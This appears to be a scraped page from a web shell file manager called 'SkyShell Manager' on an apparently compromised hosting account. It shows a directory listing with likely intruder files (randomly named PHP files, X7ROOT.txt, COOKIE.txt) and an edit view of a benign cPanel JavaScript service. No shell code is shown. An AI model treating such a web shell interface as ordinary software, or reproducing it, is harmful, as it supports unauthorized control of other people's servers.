ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: windowMonitorService.js

/*
 * services/windowMonitorService.js                Copyright(c) 2020 cPanel, L.L.C.
 *                                                           All rights reserved.
 * copyright@cpanel.net                                         http://cpanel.net
 * This code is subject to the cPanel license. Unauthorized copying is prohibited
 */

/**
 * DEVELOPERS NOTES:
 * 1) Currently this service sets up a separate monitor for each window.
 * It may be more efficient to setup a single monitor when the first window
 * is registered with the service and keep it around until the last window
 * monitored is detached.
 * 2) I'm not sure the current _isWindow() method provides enough verification
 * if the passed object is a window though its adequate to keep from getting
 * exceptions.
 */

/* global define: false */

define([
    "angular",
    "lodash"
], function(
        angular,
        _
    ) {

var module = angular.module("cjt2.services.windowMonitor", []);

module.constant("windowMonitorServiceConfig", {

/**
         * The windowMonitorService polls windows handels registered
         * with it to detect if the window is closed. Once it detects
         * a closed window, it will call a callback. This interval is
         * the time between polling runs.
         *
         * @name  windowMonitorServiceConfig.monitorInterval
         * @type {Number} Number of milliseconds to wait between polls of the
         * windows to see if they have closed.
         */
        monitorInterval: 250 // millisecond
    });

module.factory("windowMonitorService", [
        "$q",
        "$interval",
        "windowMonitorServiceConfig",
        function(
            $q,
            $interval,
            windowMonitorServiceConfig
        ) {

var _id = 0;
            var _intervals = {};

/**
             * Performs a very basic check to see if the passed object is of type Window.
             * This is helpful since we can't rely on instanceof for window objects and
             * there's no uniform standard for identifying a window object, particularly
             * once it has been closed.
             *
             * @method _isWindow
             * @private
             * @param  {Object} obj   The object to be tested.
             * @return {Boolean}      True if it's a Window object.
             */
            function _isWindow(obj) {
                return angular.isDefined(obj.closed);
            }

/**
             * Stop a referenced window monitor and cleanup
             *
             * @method   _stop
             * @private
             * @param  {Object} reference
             */
            function _stop(reference) {
                if (reference) {
                    $interval.cancel(reference.promise);
                    delete _intervals[reference.id];
                }
            }

var api = {

/**
                 * Periodically check to see if a window in storage is closed or not, and execute a
                 * callback function, if it is closed.
                 *
                 * @method start
                 * @param  {Window}   handle      The window to monitor.
                 * @param  {Function} callback    The function to execute if the window is closed.
                 * @param  {Number}   [frequency] The interval in milliseconds. Defaults to what is
                 *                                set in the windowMonitorServiceConfig.monitorInterval.
                 */
                start: function(handle, callback, frequency) {
                    var promise;
                    var id = _id++;
                    var interval = frequency || windowMonitorServiceConfig.monitorInterval;

var fn = function() {
                        if (handle.closed) {
                            callback("closed", handle);
                            api.stop(handle, true);
                        }
                    };

if (handle && angular.isFunction(callback)) {
                        promise = $interval(fn, interval);

// Save the interval information
                        _intervals[id] = {
                            id: id,
                            handle: handle,
                            promise: promise,
                            callback: callback
                        };
                    } else {
                        throw new ReferenceError("Both an window and a callback function are required.");
                    }

return handle;
                },

/**
                 * Stop monitoring a window that is being watched
                 *
                 * @method stop
                 * @param  {Window} handle  The window being monitored
                 * @param  {Boolean} [auto] Used internally only.
                 */
                stop: function(handle, auto) {
                    if (!handle) {
                        throw new ReferenceError("The stop method requires an window handle argument.");
                    }

var reference;
                    if (_isWindow(handle)) {
                        reference = _.find(_intervals, function(ref) {
                            return handle === ref.handle;
                        });
                    }

if (reference) {
                        if (!auto) {
                            reference.callback("canceled", reference.handle);
                        }
                        _stop(reference);
                    }
                },

/**
                 * Check if the service is monitoring anything.
                 *
                 * @method isMonitoring
                 * @return {Boolean} true if monitoring anything, false otherwise.
                 */
                isMonitoring: function() {
                    return _intervals && Object.keys(_intervals).length > 0;
                },

/**
                 * Stop all registered monitors
                 *
                 * @method stopAll
                 */
                stopAll: function() {
                    angular.forEach(_intervals, function(reference) {
                        _stop(reference);
                    });
                }

};

return api;
        }
    ]);
});

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: windowMonitorService.js

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30